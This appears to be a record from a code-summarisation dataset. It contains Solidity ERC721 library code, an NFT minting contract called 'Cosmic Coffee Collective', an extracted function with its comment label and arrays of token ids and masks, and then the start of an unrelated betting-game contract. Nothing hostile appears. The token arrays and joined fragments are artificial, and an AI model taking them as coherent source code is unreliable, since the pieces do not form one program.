function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: CosmicCoffeeCollective.sol
pragma solidity ^0.8.10;
contract CosmicCoffeeCollective is ERC721, ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
using Address for address;
// Sale info
uint256 constant MAX_COSMIC_COFFEES = 12000;
uint256 public constant MAX_PER_MINT = 5;
uint256 public communitySaleprice = 25000000000000000; // 0.025 ETH
uint256 public price = 50000000000000000; // 0.05 ETH
uint256 public CosmicCoffees = 10000;
uint256 public constant MAX_FREECOFFEE_MINT = 50;
// Token Availability
uint256 public reservedClaimed;
uint256 public numFreeCoffeeMinted;
uint256 public reserved = 2000; // Reserved for the team, giveaways, collabs and so on
// The base link that leads to the image / metadata of the token
string public baseTokenURI;
//Starting and stopping the sale
bool public communitySaleStarted = false;
bool public publicSaleStarted = false;
// Team addresses for withdrawals
address public a1 = 0xcc8d8F2451Dc756FB612DDD104ee148EdFCDD146; //Artist Wallet
address public a2 = 0x8AA41A73deAD00D9DE913E4B10273D050703Fe3d; //Dev Wallet
address public a3 = 0xdF968Caf4C2fB59bDb2Bfd9f43d06fa4491b38fb; //Founder Wallet
address public a4 = 0xb5C224e0c8E5D7587b49434F858332AB95A79434; //Community Wallet
address public a5 = 0x8dA2666D10f887a6D71EbD8577e6df80F6E2aB4e; //Charity Wallet
//mapping
mapping(address => bool) private _communityEligible;
mapping(address => uint256) private _totalClaimed;
// events
event BaseURIChanged(string baseURI);
event CommunityMint(address minter, uint256 amountOfFreeCoffee);
event PublicSaleMint(address minter, uint256 amountOfFreeCoffee);
//modifiers
modifier whenCommunitySaleStarted() {
require(communitySaleStarted, "Community sale is not active fren");
_;
}
modifier whenPublicSaleStarted() {
require(publicSaleStarted, "Public sale is not active ser");
_;
}
constructor (string memory newBaseURI) ERC721 ("Cosmic Coffee Collective", "FREECOFFEE") {
setBaseURI(newBaseURI);
numFreeCoffeeMinted += 1;
_safeMint(msg.sender, numFreeCoffeeMinted);
}
// add addresses to Community Sale
function addToCommunitySale(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
_communityEligible[addresses[i]] = true;
_totalClaimed[addresses[i]] > 0 ? _totalClaimed[addresses[i]] : 0;
}
}
// enter address to determine if eligible for Cosmic Coffee Community sale
function checkCommunityEligiblity(address addr) external view returns (bool) {
return _communityEligible[addr];
}
///// Minting Funtions /////
// Admin minting to use for giveaways, collabs, and so on...
function claimReserved(address recipient, uint256 amount) external onlyOwner {
require(reservedClaimed != reserved, "Already have claimed all reserved Cosmic Coffees");
require(reservedClaimed + amount <= reserved, "Minting would exceed max reserved Cosmic Coffees");
require(recipient != address(0), "Cannot add null address");
require(totalSupply() < MAX_COSMIC_COFFEES, "All tokens have been minted");
require(totalSupply() + amount <= MAX_COSMIC_COFFEES, "Minting would exceed max supply");
uint256 _nextTokenId = numFreeCoffeeMinted + 1;
for (uint256 i = 0; i < amount; i++) {
_safeMint(recipient, _nextTokenId + i);
}
numFreeCoffeeMinted += amount;
reservedClaimed += amount;
}
// Cosmic Coffee Community Sale price minting
function mintCommunity(uint256 amountOfFreeCoffee) external payable whenCommunitySaleStarted {
require(_communityEligible[msg.sender], "You are not eligible for the Cosmic Coffee community minting fren");
require(totalSupply() < MAX_COSMIC_COFFEES, "All tokens have been minted fren");
require(amountOfFreeCoffee <= MAX_PER_MINT, "Cannot purchase this many tokens during community minting fren");
require(totalSupply() + amountOfFreeCoffee <= MAX_COSMIC_COFFEES, "Minting would exceed max supply fren");
require(_totalClaimed[msg.sender] + amountOfFreeCoffee <= MAX_PER_MINT, "Purchase exceeds max allowed fren");
require(amountOfFreeCoffee > 0, "Must mint at least one cosmic coffee");
require(communitySaleprice * amountOfFreeCoffee == msg.value, "ETH amount is incorrect");
for (uint256 i = 0; i < amountOfFreeCoffee; i++) {
uint256 tokenId = numFreeCoffeeMinted + 1;
numFreeCoffeeMinted += 1;
_totalClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
emit CommunityMint(msg.sender, amountOfFreeCoffee);
}
// Public Minting of Cosmic Coffees
function mint(uint256 amountOfFreeCoffee) external payable whenPublicSaleStarted {
require(totalSupply() < MAX_COSMIC_COFFEES, "All tokens have been minted fren");
require(amountOfFreeCoffee <= MAX_PER_MINT, "Cannot purchase this many tokens during community minting fren");
require(totalSupply() + amountOfFreeCoffee <= MAX_COSMIC_COFFEES, "Minting would exceed max supply fren");
require(_totalClaimed[msg.sender] + amountOfFreeCoffee <= MAX_PER_MINT, "Purchase exceeds max allowed fren");
require(amountOfFreeCoffee > 0, "Must mint at least one cosmic coffee");
require(price * amountOfFreeCoffee == msg.value, "ETH amount is incorrect");
for (uint256 i = 0; i < amountOfFreeCoffee; i++) {
uint256 tokenId = numFreeCoffeeMinted + 1;
numFreeCoffeeMinted += 1;
_totalClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
emit PublicSaleMint(msg.sender, amountOfFreeCoffee);
}
// See which address owns which tokens
function tokensOfOwner(address addr) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(addr);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint256 i; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(addr, i);
}
return tokensId;
}
///// Owner Administrative /////
// Toggle to start/stop Cosmic Coffee Community Sale
function toggleCommunitySaleStarted() external onlyOwner {
communitySaleStarted = !communitySaleStarted;
}
// Toggle to start/stop Public Sale
function togglePublicSaleStarted() external onlyOwner {
publicSaleStarted = !publicSaleStarted;
}
// Override so the openzeppelin tokenURI() method will use this method to create the full tokenURI instead
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
// Update Base URI post deployment of smart contract
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
emit BaseURIChanged(baseURI);
}
// Set a different price in case ETH changes drastically
function setPrice(uint256 newPrice) public onlyOwner {
price = newPrice;
}
// Set team addresses
function setAddresses(address[] memory _a) public onlyOwner {
a1 = _a[0];
a2 = _a[1];
a3 = _a[2];
a4 = _a[3];
a5 = _a[4];
}
// Withdraw funds from contract for the team
function withdrawTeam(uint256 amount) public payable onlyOwner {
uint256 percent = amount / 100;
// 25% to each team wallet
require(payable(a1).send(percent * 25));
require(payable(a2).send(percent * 25));
require(payable(a3).send(percent * 25));
// 15% will got to the community wallet to support community (and neighboring community) projects
require(payable(a4).send(percent * 15));
// 10% will got to the charity wallet to support coffee farms and other organizations identified by the community
require(payable(a5).send(percent * 10));
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override (ERC721,ERC721Enumerable) returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
|
Cosmic Coffee Community Sale price minting
|
function mintCommunity(uint256 amountOfFreeCoffee) external payable whenCommunitySaleStarted {
require(_communityEligible[msg.sender], "You are not eligible for the Cosmic Coffee community minting fren");
require(totalSupply() < MAX_COSMIC_COFFEES, "All tokens have been minted fren");
require(amountOfFreeCoffee <= MAX_PER_MINT, "Cannot purchase this many tokens during community minting fren");
require(totalSupply() + amountOfFreeCoffee <= MAX_COSMIC_COFFEES, "Minting would exceed max supply fren");
require(_totalClaimed[msg.sender] + amountOfFreeCoffee <= MAX_PER_MINT, "Purchase exceeds max allowed fren");
require(amountOfFreeCoffee > 0, "Must mint at least one cosmic coffee");
require(communitySaleprice * amountOfFreeCoffee == msg.value, "ETH amount is incorrect");
for (uint256 i = 0; i < amountOfFreeCoffee; i++) {
uint256 tokenId = numFreeCoffeeMinted + 1;
numFreeCoffeeMinted += 1;
_totalClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
emit CommunityMint(msg.sender, amountOfFreeCoffee);
}
| 8,077,459 |
[
1,
39,
538,
27593,
385,
3674,
1340,
16854,
13352,
348,
5349,
6205,
312,
474,
310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
12136,
13352,
12,
11890,
5034,
3844,
951,
9194,
39,
3674,
1340,
13,
3903,
8843,
429,
1347,
12136,
13352,
30746,
9217,
288,
203,
3639,
2583,
24899,
20859,
4958,
16057,
63,
3576,
18,
15330,
6487,
315,
6225,
854,
486,
21351,
364,
326,
385,
538,
27593,
385,
3674,
1340,
19833,
312,
474,
310,
284,
1187,
8863,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
411,
4552,
67,
3865,
7303,
2871,
67,
3865,
2246,
41,
3991,
16,
315,
1595,
2430,
1240,
2118,
312,
474,
329,
284,
1187,
8863,
203,
3639,
2583,
12,
8949,
951,
9194,
39,
3674,
1340,
1648,
4552,
67,
3194,
67,
49,
3217,
16,
315,
4515,
23701,
333,
4906,
2430,
4982,
19833,
312,
474,
310,
284,
1187,
8863,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
397,
3844,
951,
9194,
39,
3674,
1340,
1648,
4552,
67,
3865,
7303,
2871,
67,
3865,
2246,
41,
3991,
16,
315,
49,
474,
310,
4102,
9943,
943,
14467,
284,
1187,
8863,
203,
3639,
2583,
24899,
4963,
9762,
329,
63,
3576,
18,
15330,
65,
397,
3844,
951,
9194,
39,
3674,
1340,
1648,
4552,
67,
3194,
67,
49,
3217,
16,
315,
23164,
14399,
943,
2935,
284,
1187,
8863,
203,
3639,
2583,
12,
8949,
951,
9194,
39,
3674,
1340,
405,
374,
16,
315,
10136,
312,
474,
622,
4520,
1245,
4987,
27593,
276,
3674,
1340,
8863,
203,
3639,
2583,
12,
20859,
55,
287,
881,
3057,
380,
3844,
951,
9194,
39,
3674,
1340,
422,
1234,
18,
1132,
16,
315,
1584,
44,
3844,
353,
11332,
8863,
203,
203,
3639,
364,
261,
11890,
5034,
2
] |
pragma solidity ^0.4.18;
contract PoP{
using SafeMath for uint256;
using SafeInt for int256;
using Player for Player.Data;
using BettingRecordArray for BettingRecordArray.Data;
using WrappedArray for WrappedArray.Data;
using FixedPoint for FixedPoint.Data;
// Contract Info
string public name;
string public symbol;
uint8 public decimals;
address private author;
// Events for Game
event Bet(address player, uint256 betAmount, uint256 betNumber, uint256 gameNumber);
event Withdraw(address player, uint256 amount, uint256 numberOfRecordsProcessed);
event EndGame(uint256 currentGameNumber);
// Events for Coin
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
event Mined(address indexed miner, uint256 value);
// Init
function PoP() public {
name = "PopCoin";
symbol = "PoP";
decimals = 18;
author = msg.sender;
totalSupply_ = 10000000 * 10 ** uint256(decimals);
lastBetBlockNumber = 0;
currentGameNumber = 0;
currentPot = 0;
initialSeed = 0;
minimumWager = kBaseMinBetSize.toUInt256Raw();
minimumNumberOfBlocksToEndGame = kLowerBoundBlocksTillGameEnd.add(kUpperBoundBlocksTillGameEnd).toUInt256Raw();
gameHasStarted = false;
currentMiningDifficulty = FixedPoint.fromInt256(kStartingGameMiningDifficulty);
unPromisedSupplyAtStartOfCurrentGame_ = totalSupply_;
currentPotSplit = 1000;
nextGameMaxBlock = kUpperBoundBlocksTillGameEnd;
nextGameMinBlock = kLowerBoundBlocksTillGameEnd;
currentGameInitialMinBetSize = kBaseMinBetSize;
nextGameInitialMinBetSize = currentGameInitialMinBetSize;
nextFrontWindowAdjustmentRatio = frontWindowAdjustmentRatio;
nextBackWindowAdjustmentRatio = backWindowAdjustmentRatio;
nextGameSeedPercent = percentToTakeAsSeed;
nextGameRakePercent = percentToTakeAsRake;
nextGameDeveloperMiningPower = developerMiningPower;
nextGamePotSplit = currentPotSplit;
// Initialize Dev Permissions
canUpdateNextGameInitalMinBetSize = true;
canUpdateFrontWindowAdjustmentRatio = true;
canUpdateBackWindowAdjustmentRatio = true;
canUpdateNextGamePotSplit = true;
canUpdatePercentToTakeAsSeed = true;
canUpdateNextGameMinAndMaxBlockUntilGameEnd = true;
canUpdateAmountToTakeAsRake = true;
canUpdateDeveloperMiningPower = true;
}
// Constants
FixedPoint.Data _2pi = FixedPoint.Data({val: 26986075409});
FixedPoint.Data _pi = FixedPoint.Data({val: 13493037704});
FixedPoint.Data kBackPayoutEndPointInitial = FixedPoint.fromFraction(1, 2);
FixedPoint.Data kFrontPayoutStartPointInitial = FixedPoint.fromFraction(1, 2);
uint256 public percentToTakeAsRake = 500; // MC
uint256 public percentToTakeAsSeed = 900; // MC
uint256 public developerMiningPower = 3000; // MC
uint256 constant kTotalPercent = 10000;
uint8 constant kStartingGameMiningDifficulty = 1;
uint256 potSplitMax = 2000;
uint8 constant kDifficultyWindow = 10; // MC
FixedPoint.Data kDifficultyDropOffFactor = FixedPoint.fromFraction(8, 10); // MC
uint256 constant kWeiConstant = 10 ** 18;
FixedPoint.Data kExpectedFirstGameSize = FixedPoint.fromInt256(Int256(10 * kWeiConstant));
FixedPoint.Data kExpectedPopCoinToBePromisedPercent = FixedPoint.fromFraction(1, 1000); // MC
FixedPoint.Data kLowerBoundBlocksTillGameEnd = FixedPoint.fromInt256(6); // MC
FixedPoint.Data kUpperBoundBlocksTillGameEnd = FixedPoint.fromInt256(80); // MC
FixedPoint.Data kBaseMinBetSize = FixedPoint.fromInt256(Int256(kWeiConstant/1000));
FixedPoint.Data kMaxPopMiningPotMultiple = FixedPoint.fromFraction(118709955, 1000000); // MC
// Public Variables
uint256 public lastBetBlockNumber;
uint256 public minimumNumberOfBlocksToEndGame;
uint256 public currentPot;
uint256 public currentGameNumber;
FixedPoint.Data currentMiningDifficulty;
uint256 public initialSeed;
uint256 public bonusSeed;
uint256 public minimumWager;
uint256 public currentBetNumber;
uint256 public nextGameSeedPercent;
uint256 public nextGameRakePercent;
uint256 public nextGameDeveloperMiningPower;
uint256 public currentPotSplit;
uint256 public nextGamePotSplit;
// Game Private Variables
mapping (address => Player.Data) playerCollection;
BettingRecordArray.Data currentGameBettingRecords;
WrappedArray.Data gameMetaData;
mapping (address => uint256) playerInternalWallet;
FixedPoint.Data public initialBankrollGrowthAmount; // This is what the current pot will be compared to
FixedPoint.Data public nextGameInitialMinBetSize;
FixedPoint.Data currentGameInitialMinBetSize;
FixedPoint.Data public nextGameMaxBlock;
FixedPoint.Data public nextGameMinBlock;
FixedPoint.Data public frontWindowAdjustmentRatio = FixedPoint.fromFraction(13, 10); // MC:
FixedPoint.Data public backWindowAdjustmentRatio = FixedPoint.fromFraction(175, 100); // MC:
FixedPoint.Data public nextFrontWindowAdjustmentRatio;
FixedPoint.Data public nextBackWindowAdjustmentRatio;
// Coin Private Variables
mapping(address => uint256) popBalances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
uint256 supplyMined_;
uint256 supplyBurned_;
uint256 unPromisedSupplyAtStartOfCurrentGame_;
bool gameHasStarted;
// Dev Permission Control over Game Variables
bool public canUpdateNextGameInitalMinBetSize;
bool public canUpdateFrontWindowAdjustmentRatio;
bool public canUpdateBackWindowAdjustmentRatio;
bool public canUpdateNextGamePotSplit;
bool public canUpdatePercentToTakeAsSeed;
bool public canUpdateNextGameMinAndMaxBlockUntilGameEnd;
bool public canUpdateAmountToTakeAsRake;
bool public canUpdateDeveloperMiningPower;
function turnOffCanUpdateNextGameInitalMinBetSize () public {
require (msg.sender == author);
require (canUpdateNextGameInitalMinBetSize == true);
canUpdateNextGameInitalMinBetSize = false;
}
function turnOffCanUpdateFrontWindowAdjustmentRatio () public {
require (msg.sender == author);
require (canUpdateFrontWindowAdjustmentRatio == true);
canUpdateFrontWindowAdjustmentRatio = false;
}
function turnOffCanUpdateBackWindowAdjustmentRatio () public {
require (msg.sender == author);
require (canUpdateBackWindowAdjustmentRatio == true);
canUpdateBackWindowAdjustmentRatio = false;
}
function turnOffCanUpdateNextGamePotSplit () public {
require (msg.sender == author);
require (canUpdateNextGamePotSplit == true);
canUpdateNextGamePotSplit = false;
}
function turnOffCanUpdatePercentToTakeAsSeed () public {
require (msg.sender == author);
require (canUpdatePercentToTakeAsSeed == true);
canUpdatePercentToTakeAsSeed = false;
}
function turnOffCanUpdateNextGameMinAndMaxBlockUntilGameEnd () public {
require (msg.sender == author);
require (canUpdateNextGameMinAndMaxBlockUntilGameEnd == true);
canUpdateNextGameMinAndMaxBlockUntilGameEnd = false;
}
function turnOffCanUpdateAmountToTakeAsRake () public {
require (msg.sender == author);
require (canUpdateAmountToTakeAsRake == true);
canUpdateAmountToTakeAsRake = false;
}
function turnOffCanUpdateDeveloperMiningPower () public {
require (msg.sender == author);
require (canUpdateDeveloperMiningPower == true);
canUpdateDeveloperMiningPower = false;
}
function balanceOfContract () public constant returns(uint256 res) {
return address(this).balance;
}
function getCurrentGameInitialMinBetSize () public view returns(uint256 res) {
return currentGameInitialMinBetSize.toUInt256Raw();
}
function startGame () payable public {
require (msg.sender == author);
require (msg.value > 0);
require (gameHasStarted == false);
initialSeed = initialSeed.add(msg.value);
currentPot = initialSeed;
gameHasStarted = true;
}
